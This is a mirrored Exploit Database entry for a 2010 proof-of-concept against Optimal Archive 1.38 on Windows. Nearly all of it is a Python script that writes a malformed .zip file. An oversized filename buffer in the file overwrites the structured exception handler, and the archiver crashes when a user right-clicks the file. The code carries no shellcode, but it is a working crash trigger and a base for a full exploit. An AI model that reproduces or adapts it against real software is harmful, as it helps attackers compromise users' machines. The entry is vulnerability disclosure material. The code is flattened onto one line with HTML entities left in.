Optimal Archive 1.38 – ‘.zip’ File (SEH) (PoC)

• Exploit Database
• 113 阅读

• 作者： TecR0c
  日期： 2010-03-31
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11984/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

  #!/usr/bin/python # ####################################################################### # Title:Optimal Archive 1.38 (.zip) 0day SEH PoC # Author: TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c # Found by: TecR0c # Download: http://www.optimalaccess.com/oadownload.php?version=oarchive.exe # Platform: Windows XP sp3 En # Advisory: http://www.corelan.be:8800/advisories.php?id=CORELAN-10-017 # Greetz to:Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ####################################################################### # Script provided &apos;as is&apos;, without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause.   # Trigger : Right click on specially crafzip file > Boom # Very strange behavior when debugging   print "|------------------------------------------------------------------|" print "| __ __|" print "| _________________/ /___ _____ / /________ _____ ___|" print "|/ ___/ __ \/ ___/ _ \/ / __ <code>/ __ \ / __/ _ \/ __ </code>/ __ `__ \ |" print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|" print "||" print "| http://www.corelan.be:8800 |" print "|security@corelan.be |" print "||" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] optimal (.zip)- by TecR0c"     ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xe4\x0f" "\x00\x00\x00")   cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xe4\x0f" "\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00")   eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00" "\x02\x10\x00\x00" "\x00\x00")   buff = "\x42" * 2340 buff += "\x44" * 4 buff += "\x42" * (4064-len(buff)) buff += ".txt"   mefile = open(&apos;optimal.zip&apos;,&apos;w&apos;); mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header); mefile.close()